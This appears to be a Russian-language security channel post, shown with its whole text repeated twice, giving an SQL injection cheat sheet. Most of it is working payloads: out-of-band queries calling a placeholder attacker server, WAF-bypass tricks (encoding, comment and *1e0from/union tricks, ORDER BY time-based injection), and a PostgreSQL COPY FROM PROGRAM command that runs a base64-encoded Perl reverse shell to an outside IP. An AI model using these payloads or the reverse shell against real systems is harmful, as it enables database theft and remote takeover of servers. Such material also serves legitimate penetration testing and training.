Всем 👋! Это Bagley
💬Сегодня про SQL Injection. Но информации на просторах интернета настолько много, что решил написать только то, что может быть интересно (надеюсь)
#️⃣ Определимся с типами SQL injection's:
🔤Boolean-based SQLi (смотрим на поведение веба, и пытаемся понять, когда true/false)
🔤UNION SQLi (классическое объединение запросов)
🔤Error-based SQLi (если веб "выплёвывает" нам ошибки)
🔤Time-based SQLi (результат исполнения sql запроса контролируем задержкой SLEEP, BENCHMARK, WAITFOR DELAY, PG_SLEEP)
🔤Out-of-band (OOB) SQLi:
SELECT 1 INTO OUTFILE '\\\\__ATTACK_SERVER__\SQLiOOB'
exec master..xp_dirtree '//__ATTACK_SERVER__/SQLiOOB'
🔤Second-order SQLi (когда возвращаемые/сохраняемые данные используются в других запросах)
#️⃣ Что можно попробовать, если столкнулись с WAF'ом?
#️⃣ Order By Injection
Классика, но часто упускается из виду. Поле order динамически подставляется в запрос.
/search?order=id` ASC,(SELECT CASE WHEN (SELECT SUBSTRING(version(),1,1))='5' THEN SLEEP(5) ELSE 0 END))-- -
#️⃣ Unicode
%u0031%u0027%u004f%u0052%u0031%u003d%u0031--
#️⃣ HEX Значения
' UNION SELECT 0x7461626c655f6e616d65 FROM information_schema.tables-- -
#️⃣ Двойное URL-кодирование, почему стоит проверить: WAF декодирует один раз, а бэкенд - два.
Мы шлем: %2527 (закодированный символ %27)
WAF видит: %27 и пропускает.
Бэкенд видит: ' - и получает нашу кавычку.
#️⃣ Все мы знаем про комменты -- -, #, /**/
Пробел в -- - ставится для того, что mysql понял, что это не двойной минус, а коммент, и это нам может помочь
select(if(1=1,1,0)); -> [BLOCKED]
select(--if(1=1,1,0)); -> 1
select(-+-+if(1=1,1,0)); -> 1
эта тема может сработать с различными функциями (т.е. --function(...))
#️⃣ блочит FROM, берем *1e0from
select/**/0x75736572*1e0from/**/mysql.user/**/where/**/user/**/like(0x25726f6f25);
можно попробовать разбить mysql.user: mysql.%0auser,mysql.%00user,mysql.%0duser
#️⃣ триггер на union, пробуем *1e0union
select 1 or 1*1e0union select 2;
#️⃣ конструкции типа /*xx*/, "``", {..}
/index.php?id={`foo`/*bar*/(select--2)}
id попадает в запрос:
select login from users where id={`foo`/*bar*/(select--2)};
выбирает юзера с id=2
Где искать❓
Везде, где присутствует пользовательский ввод (user input): параметры запроса, Cookie, значения Header'ов
Ищем в JSON, XML запросах, и тем более в GraphQL!
#️⃣Quick_Check запрос: 0"XOR(if(now()=sysdate(),sleep(5),0))XOR"X
Как крутить❓
От простого, к сложному. Начни с самых простых запросов ' or 44>43, добавляй функционал ' or if(44>43,(4-sleep(3)),0), усложняй запрос и следи за реакцией WAF: блочит, пытаемся заменить функционал похожими функциями, и так далее
#️⃣CTF-лайк Stacked-Query reverse shell в psql (просто, чтоб не потерять):
DROP TABLE IF EXISTS cmd_exec2;
CREATE TABLE cmd_exec2(cmd_output2 text);
COPY cmd_exec2 FROM PROGRAM 'echo cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMjEuMzIuNzM6NDQ0NCIpO1NURElOLT5mZG9wZW4oJGMscik7JH4tPmZkb3BlbigkYyx3KTtzeXN0ZW0kXyB3aGlsZTw+OycK | base64 -d | bash';
SELECT * FROM cmd_exec2;
DROP TABLE IF EXISTS cmd_exec2;
➡️ Свежая статья на codeby
➡️ Мануал от YesWeHack
➡️ PayloadsAllTheThings
⤵️
Ghauri - кроссплатформенный инструмент для тех, кто хочет попробовать чего-нибудь нового.
Ну с SQLMap'ом думаю знакомы все👍
❔ Основные посты канала
#learning
💬Сегодня про SQL Injection. Но информации на просторах интернета настолько много, что решил написать только то, что может быть интересно (надеюсь)
#️⃣ Определимся с типами SQL injection's:
🔤Boolean-based SQLi (смотрим на поведение веба, и пытаемся понять, когда true/false)
🔤UNION SQLi (классическое объединение запросов)
🔤Error-based SQLi (если веб "выплёвывает" нам ошибки)
🔤Time-based SQLi (результат исполнения sql запроса контролируем задержкой SLEEP, BENCHMARK, WAITFOR DELAY, PG_SLEEP)
🔤Out-of-band (OOB) SQLi:
SELECT 1 INTO OUTFILE '\\\\__ATTACK_SERVER__\SQLiOOB'
exec master..xp_dirtree '//__ATTACK_SERVER__/SQLiOOB'
🔤Second-order SQLi (когда возвращаемые/сохраняемые данные используются в других запросах)
#️⃣ Что можно попробовать, если столкнулись с WAF'ом?
#️⃣ Order By Injection
Классика, но часто упускается из виду. Поле order динамически подставляется в запрос.
/search?order=id` ASC,(SELECT CASE WHEN (SELECT SUBSTRING(version(),1,1))='5' THEN SLEEP(5) ELSE 0 END))-- -
#️⃣ Unicode
%u0031%u0027%u004f%u0052%u0031%u003d%u0031--
#️⃣ HEX Значения
' UNION SELECT 0x7461626c655f6e616d65 FROM information_schema.tables-- -
#️⃣ Двойное URL-кодирование, почему стоит проверить: WAF декодирует один раз, а бэкенд - два.
Мы шлем: %2527 (закодированный символ %27)
WAF видит: %27 и пропускает.
Бэкенд видит: ' - и получает нашу кавычку.
#️⃣ Все мы знаем про комменты -- -, #, /**/
Пробел в -- - ставится для того, что mysql понял, что это не двойной минус, а коммент, и это нам может помочь
select(if(1=1,1,0)); -> [BLOCKED]
select(--if(1=1,1,0)); -> 1
select(-+-+if(1=1,1,0)); -> 1
эта тема может сработать с различными функциями (т.е. --function(...))
#️⃣ блочит FROM, берем *1e0from
select/**/0x75736572*1e0from/**/mysql.user/**/where/**/user/**/like(0x25726f6f25);
можно попробовать разбить mysql.user: mysql.%0auser,mysql.%00user,mysql.%0duser
#️⃣ триггер на union, пробуем *1e0union
select 1 or 1*1e0union select 2;
#️⃣ конструкции типа /*xx*/, "``", {..}
/index.php?id={`foo`/*bar*/(select--2)}
id попадает в запрос:
select login from users where id={`foo`/*bar*/(select--2)};
выбирает юзера с id=2
Где искать❓
Везде, где присутствует пользовательский ввод (user input): параметры запроса, Cookie, значения Header'ов
Ищем в JSON, XML запросах, и тем более в GraphQL!
#️⃣Quick_Check запрос: 0"XOR(if(now()=sysdate(),sleep(5),0))XOR"X
Как крутить❓
От простого, к сложному. Начни с самых простых запросов ' or 44>43, добавляй функционал ' or if(44>43,(4-sleep(3)),0), усложняй запрос и следи за реакцией WAF: блочит, пытаемся заменить функционал похожими функциями, и так далее
#️⃣CTF-лайк Stacked-Query reverse shell в psql (просто, чтоб не потерять):
DROP TABLE IF EXISTS cmd_exec2;
CREATE TABLE cmd_exec2(cmd_output2 text);
COPY cmd_exec2 FROM PROGRAM 'echo cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMjEuMzIuNzM6NDQ0NCIpO1NURElOLT5mZG9wZW4oJGMscik7JH4tPmZkb3BlbigkYyx3KTtzeXN0ZW0kXyB3aGlsZTw+OycK | base64 -d | bash';
SELECT * FROM cmd_exec2;
DROP TABLE IF EXISTS cmd_exec2;
➡️ Свежая статья на codeby
➡️ Мануал от YesWeHack
➡️ PayloadsAllTheThings
⤵️
Ghauri - кроссплатформенный инструмент для тех, кто хочет попробовать чего-нибудь нового.
Ну с SQLMap'ом думаю знакомы все👍
❔ Основные посты канала
#learning